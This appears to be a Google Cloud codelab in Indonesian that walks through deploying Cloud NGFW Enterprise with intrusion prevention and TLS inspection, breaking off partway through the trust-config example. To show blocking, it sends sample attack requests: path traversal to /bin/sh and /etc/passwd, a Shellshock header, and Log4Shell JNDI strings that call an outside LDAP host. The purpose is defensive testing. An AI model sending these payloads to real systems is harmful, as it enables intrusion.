1. Pengantar
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall adalah layanan firewall yang terdistribusi sepenuhnya dengan kemampuan perlindungan tingkat lanjut, segmentasi mikro, dan cakupan yang luas untuk melindungi workload Google Cloud Anda dari serangan internal dan eksternal.
Cloud NGFW memiliki manfaat berikut:
- Layanan firewall terdistribusi: Cloud NGFW menyediakan penerapan berbasis host yang stateful dan terdistribusi sepenuhnya pada setiap workload untuk mengaktifkan arsitektur keamanan zero-trust.
- Konfigurasi dan deployment yang disederhanakan: Cloud NGFW menerapkan kebijakan firewall jaringan dan hierarkis yang dapat dilampirkan ke node hierarki resource. Kebijakan ini memberikan pengalaman firewall yang konsisten di seluruh hierarki resource Google Cloud.
- Kontrol terperinci dan mikro-segmentasi: Kombinasi kebijakan firewall dan Tag yang dikelola Identity and Access Management (IAM) memberikan kontrol yang baik untuk traffic utara-selatan dan timur-barat, hingga ke satu VM, di seluruh jaringan Virtual Private Cloud (VPC) dan organisasi.
Cloud NGFW tersedia di tingkat berikut:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise menambahkan Intrusion Prevention Service (IPS), kemampuan Lapisan 7, ke fabric Google Cloud Firewall yang terdistribusi. Pemeriksaan TLS didukung untuk mengizinkan pemeriksaan traffic terenkripsi TLS.
Sekarang Anda dapat men-deploy pemeriksaan Next Generation Firewall (NGFW) Lapisan 7 yang andal dengan kontrol terperinci, tanpa melakukan perubahan apa pun pada arsitektur jaringan atau konfigurasi perutean.
Untuk mengaktifkan dan men-deploy kontrol firewall Lapisan 7 dengan IPS, Anda perlu melakukan tugas berikut:
- Membuat sekumpulan endpoint firewall zona yang dikelola Google Cloud.
- Jika ingin, buat Kebijakan Pemeriksaan TLS.
- Anda juga dapat membuat Konfigurasi Kepercayaan.
- Kaitkan endpoint ini dengan jaringan Virtual Private Cloud (VPC) tempat Anda memerlukan layanan Cloud NGFW Enterprise.
- Lakukan perubahan sederhana pada kebijakan firewall dan aturan firewall yang ada untuk menentukan profil pencegahan ancaman bagi berbagai jalur traffic.
Kebijakan firewall jaringan
Kebijakan firewall jaringan berfungsi sebagai penampung untuk aturan firewall. Aturan yang ditentukan dalam kebijakan firewall jaringan tidak diterapkan di mana pun hingga kebijakan dikaitkan dengan jaringan VPC. Setiap jaringan VPC dapat memiliki satu kebijakan firewall jaringan yang terkait. Kebijakan firewall jaringan mendukung Tag yang diatur IAM (atau hanya Tag) dalam aturan firewall, yang menggantikan tag jaringan saat ini dan dapat digunakan untuk memberikan identitas ke workload.
Berbagi kebijakan firewall jaringan di seluruh jaringan dan integrasi dengan Tag yang diatur IAM sangat menyederhanakan konfigurasi dan pengelolaan firewall.
Dengan diperkenalkannya kebijakan firewall jaringan, kebijakan firewall Google Cloud kini terdiri dari komponen berikut:
- Kebijakan Firewall Hierarkis
- Aturan Firewall VPC
- Kebijakan Firewall Jaringan ( Global dan Regional)
Kebijakan firewall hierarkis didukung di node organisasi dan folder dalam hierarki resource, sedangkan aturan firewall VPC dan kebijakan firewall jaringan diterapkan di tingkat VPC. Perbedaan besar antara aturan firewall VPC dan kebijakan firewall jaringan adalah aturan firewall VPC hanya dapat diterapkan ke satu jaringan VPC, sedangkan kebijakan firewall jaringan dapat dilampirkan ke satu VPC atau grup VPC, di antara manfaat lainnya seperti update batch.
Terakhir, kita juga memiliki aturan firewall tersirat yang disertakan dengan setiap jaringan VPC:
- Aturan keluar yang tindakannya adalah izinkan, tujuannya adalah 0.0.0.0/0
- Aturan masuk yang tindakannya adalah tolak, sumbernya adalah 0.0.0.0/0
Secara default, urutan penerapan ditampilkan dalam diagram berikut:
Perhatikan bahwa urutan penerapan antara aturan firewall VPC dan kebijakan firewall jaringan global dapat ditukar. Pelanggan dapat menentukan urutan penerapan kapan saja dengan perintah gcloud.
Tag
Tag yang terintegrasi dalam aturan kebijakan firewall jaringan yang baru adalah resource key-value pair yang ditentukan di organisasi atau tingkat project hierarki resource Google Cloud. Tag tersebut berisi kontrol akses IAM yang menentukan siapa yang dapat melakukan tindakan apa pada tag. Misalnya, izin Identity and Access Management (IAM) memungkinkan seseorang menentukan akun utama mana yang dapat menetapkan nilai ke tag dan akun utama mana yang dapat melampirkan tag ke resource. Jika aturan firewall jaringan mereferensikan Tag, aturan tersebut harus diterapkan ke resource untuk penerapan.
Tag mematuhi model resource pewarisan Google Cloud, yang berarti tag dan nilainya diteruskan ke seluruh hierarki dari induknya. Akibatnya, tag dapat dibuat di satu tempat, lalu digunakan oleh folder dan project lain di seluruh hierarki resource. Buka halaman ini untuk mengetahui detail tentang tag dan pembatasan akses.
Tag tidak boleh sama dengan tag jaringan. Yang terakhir adalah string yang dapat ditambahkan ke instance Compute Engine; string ini dikaitkan dengan instance dan akan hilang saat instance dinonaktifkan. Aturan firewall VPC dapat mencakup tag jaringan, tetapi karena tidak dianggap sebagai resource cloud, aturan tersebut tidak tunduk pada kontrol akses IAM.
Perhatikan bahwa Tag dan Tag yang diatur IAM digunakan secara bergantian dalam dokumen ini.
Yang akan Anda bangun
Codelab ini memerlukan satu project dan kemampuan untuk membuat jaringan VPC serta mengelola sejumlah resource jaringan dan keamanan. Tutorial ini akan menunjukkan cara Cloud NGFW Enterprise dapat menyediakan fungsi IPS dengan:
- Memeriksa alur internet northbound dengan pemeriksaan TLS
- Memeriksa alur intra-VPC [Timur-Barat] dengan pemeriksaan TLS
Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall, termasuk 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan) dan Tag.
Status akhir rulebase kebijakan firewall jaringan akan mirip dengan tabel di bawah:
Prioritas | Arah | Target | Sumber | Tujuan | Tindakan | Jenis |
100 | Masuk | Server_Tag | Pemeriksaan Kondisi | Semua | Izinkan | Essentials |
200 | Masuk | Client_Tag, Server_Tag | IAP | Semua | Izinkan | Essentials |
800 | Masuk | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | Inspeksi L7 | Enterprise |
850 | Keluar | Client_Tag | Semua | 10.0.0.0/24 | Izinkan | Essentials |
900 | Keluar | Client_Tag | Semua | Semua | Inspeksi L7 | Enterprise |
Yang akan Anda pelajari
- Cara membuat kebijakan firewall jaringan.
- Cara membuat dan menggunakan Tag dengan kebijakan firewall jaringan.
- Cara mengonfigurasi dan menggunakan Cloud NGFW Enterprise dengan pemeriksaan TLS.
Yang Anda butuhkan
- Project Google Cloud.
- Pengetahuan tentang cara men-deploy instance dan mengonfigurasi komponen jaringan.
- Pengetahuan tentang konfigurasi firewall VPC.
2. Sebelum memulai
Membuat/memperbarui variabel
Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.
Di Cloud Shell, jalankan perintah di bawah ini dengan mengganti informasi dalam tanda kurung sesuai kebutuhan:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. Mengaktifkan API
Aktifkan API jika Anda belum melakukannya:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Pembuatan Endpoint Cloud NGFW Enterprise
Karena pembuatan Endpoint Enterprise Cloud NGFW memerlukan waktu sekitar 20 menit, endpoint akan dibuat terlebih dahulu dan penyiapan dasar dapat dilakukan secara paralel saat endpoint sedang dibuat.
Buat Profil Keamanan dan Grup Profil Keamanan:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
Output yang diharapkan:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
Konfirmasi bahwa resource berhasil dibuat:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan:
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Buat endpoint Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
Jalankan perintah di bawah untuk mengonfirmasi bahwa endpoint sedang dibuat (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Output yang diharapkan:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
Proses pembuatan memerlukan waktu sekitar 20 menit. Lanjutkan ke bagian Penyiapan Dasar untuk membuat resource yang diperlukan secara paralel.
5. Penyiapan Dasar
Jaringan dan subnet VPC
Jaringan VPC dan subnet
Buat jaringan VPC dan subnet:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Buat Cloud Router dan gateway Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instance
Buat instance klien dan server web:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils mtr iperf3 tcpdump -y' gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2'
Tag tingkat project
Tetapkan izin tagAdmin kepada pengguna jika diperlukan:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
Buat kunci dan nilai Tag tingkat project:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
Ikat tag ke instance:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Kebijakan firewall jaringan global
Buat kebijakan firewall jaringan global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
Buat aturan Cloud Firewall Essential yang diperlukan untuk mengizinkan traffic dari rentang health-check dan identity-aware proxy:
gcloud compute network-firewall-policies rules create 100 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 200 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \ --src-ip-ranges=35.235.240.0/20
Buat aturan Cloud Firewall yang diperlukan untuk mengizinkan traffic masuk east-west/intra-subnet dari rentang tertentu (aturan ini akan diperbarui untuk mengaktifkan Cloud NGFW Enterprise dengan pemeriksaan TLS):
gcloud compute network-firewall-policies rules create 800 \ --description "allow ingress internal traffic from tagged clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --src-ip-ranges=10.0.0.0/24 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Kaitkan kebijakan firewall cloud ke jaringan VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
6. Asosiasi Endpoint Cloud Firewall
Tentukan variabel lingkungan jika Anda belum melakukannya dan/atau lebih memilih pendekatan skrip.
Pastikan pembuatan Endpoint Cloud Firewall berhasil diselesaikan. Hanya lanjutkan setelah status ditampilkan sebagai AKTIF (selama pembuatan, status yang diharapkan adalah PEMBENTUKAN):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Output yang diharapkan:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Kaitkan endpoint Cloud Firewall ke jaringan VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
Proses pengaitan memerlukan waktu sekitar 10 menit. Hanya lanjutkan ke bagian TLS setelah status ditampilkan sebagai AKTIF (selama pembuatan, status yang diharapkan adalah Pembuatan):
gcloud network-security firewall-endpoint-associations list
Output yang diharapkan setelah selesai:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Output yang diharapkan:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. Mengonfigurasi Resource TLS
Buat kumpulan CA. Resource ini akan digunakan untuk menyimpan sertifikat CA Root yang kita buat untuk NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
Buat Root CA. Ini adalah sertifikat CA yang akan digunakan untuk menandatangani sertifikat tambahan untuk permintaan melalui NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
Jika Anda melihat pesan di bawah, jawab y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Membuat akun layanan. Akun layanan ini akan digunakan untuk meminta sertifikat untuk NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Tetapkan izin IAM untuk akun layanan:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Buat file YAML Kebijakan TLS. File ini akan berisi informasi tentang resource tertentu:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Mengimpor Kebijakan pemeriksaan TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Perbarui pengaitan endpoint untuk mengaktifkan TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Dapatkan sertifikat CA dan tambahkan ke penyimpanan CA klien:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Transfer sertifikat CA ke klien:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
SSH ke VM, pindahkan sertifikat CA ke /usr/local/share/ca-certificates, lalu perbarui penyimpanan CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Keluar kembali ke cloudshell.
Proses Penandatanganan Sertifikat Server:
Di cloudshell, instal library kriptografi Pyca menggunakan perintah pip:
pip install --user "cryptography>=2.2.0"
Agar Google Cloud SDK dapat menggunakan library kriptografi Pyca, Anda harus mengaktifkan paket situs.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
Buat Sertifikat Server:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
Tindakan ini akan menghasilkan file cert.pem dan key.pem di cloudshell. Selanjutnya, transfer sertifikat dan kunci ke server.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
Gunakan SSH ke server untuk memperbarui detail sertifikat untuk Apache:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
Pindahkan sertifikat dan kunci ke folder tertentu:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
Update konfigurasi ssl untuk menggunakan sertifikat yang ditandatangani:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Mulai ulang Apache:
sudo systemctl restart apache2
Verifikasi status Apache:
sudo systemctl status apache2
Seharusnya aktif (berjalan).
Keluar dari VM dan lanjutkan di cloudshell.
8. Memvalidasi Konektivitas Utara dan Timur/Barat
Jalankan perintah di bawah di Cloud Shell dan catat IP target yang akan digunakan:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
Buka tab baru dan mulai koneksi SSH ke VM klien melalui IAP (Anda harus menentukan variabel di tab baru):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Jalankan perintah di bawah dan catat IP target yang akan digunakan. Buat variabel yang mengganti nilai dalam tanda kurung dengan IP yang dicatat dari langkah sebelumnya dan pastikan variabel tersebut dapat dijangkau:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Curl IP Pribadi dan pastikan IP tersebut dapat dijangkau:
curl https://$target_privateip --max-time 2
Hasil yang diharapkan untuk permintaan curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
Kirim contoh serangan ke IP. Server web harus merespons semua permintaan, yang mengonfirmasi bahwa tidak ada pemeriksaan/pencegahan L7:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Contoh Hasil yang diharapkan (IP pribadi):
400 404 400 200 200
Demikian pula, kirim permintaan ke tujuan internet:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Contoh hasil yang diharapkan (tujuan internet):
400 404 400 403 403
Keluar dari terminal VM dan kembali ke cloud shell.
9. Membuat dan Memperbarui Aturan Firewall untuk Pemeriksaan TLS
Sebelumnya, kita telah mengonfigurasi aturan firewall untuk mengizinkan traffic masuk ke server dari subnet internal. Sekarang kita akan memperbarui aturan masuk yang ada dan menetapkan tindakan ke apply_security_profile_group. Tindakan ini akan mengaktifkan pemeriksaan L7 E/W dengan TLS:
gcloud compute network-firewall-policies rules update 800 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
Buat aturan baru untuk memeriksa pemeriksaan L7 northbound dengan TLS.
gcloud compute network-firewall-policies rules create 900 \ --description "Inspect egress traffic over TCP 443" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
Buat aturan baru untuk mengizinkan EGRESS untuk E/W guna mencegah pemeriksaan ganda.
gcloud compute network-firewall-policies rules create 850 \ --description "Prevent double inspection" \ --action=ALLOW \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --layer4-configs tcp:443 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. Memvalidasi Pemeriksaan TLS Arah Utara
Beralih kembali ke tab VM klien atau hubungkan lagi:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Kirim contoh serangan ke tujuan internet:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Tidak ada respons yang diterima sesuai dengan output yang diharapkan di bawah, yang mengonfirmasi bahwa contoh serangan kini diblokir:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Tetapkan variabel ke IP server dari sebelumnya:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Kirim contoh permintaan TLS ke server:
curl https://$target_privateip --max-time 2
Output yang diharapkan:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Mengapa permintaan ini gagal? Hal ini karena Firewall menerima sertifikat dari server yang tidak tepercaya. Jika hal ini terjadi, sertifikat yang ditandatangani sendiri akan diteruskan kembali ke klien. Kita perlu menambahkan sertifikat CA sebagai bagian dari konfigurasi kepercayaan untuk mengaktifkan kepercayaan.
Kembali ke cloud shell.
11. Mengonfigurasi Konfigurasi Kepercayaan
Dapatkan sertifikat CA Root dan tetapkan sebagai variabel dengan format yang tepat.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Konfigurasikan file YAML Trust Config. File ini berisi detail kepercayaan seperti sertifikat CA:
cat > trust_config.yaml << EOF name: "$prefix-trust-config" trustStores: - trustAnchors: - pemCertificate: | ${NGFW_ROOT_CA} EOF
Perintah di atas menyertakan sertifikat Root CA Anda sebagai bagian dari trust store karena sertifikat server Anda ditandatangani menggunakan Root CA. Artinya, firewall akan memercayai sertifikat apa pun yang diterima dan telah ditandatangani oleh Root CA Anda - selain CA Publik jika kebijakan TLS Anda menetapkan excludePublicCaSet ke salah (false).
Periksa konten konfigurasi kepercayaan.
cat trust_config.yaml
Contoh Output:
Perhatikan dengan cermat perataan indentasi sertifikat. Format ini harus diikuti dengan tepat.
name: "ngfw-enterprise-trust-config" trustStores: - trustAnchors: - pemCertificate: | -----BEGIN CERTIFICATE----- ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ 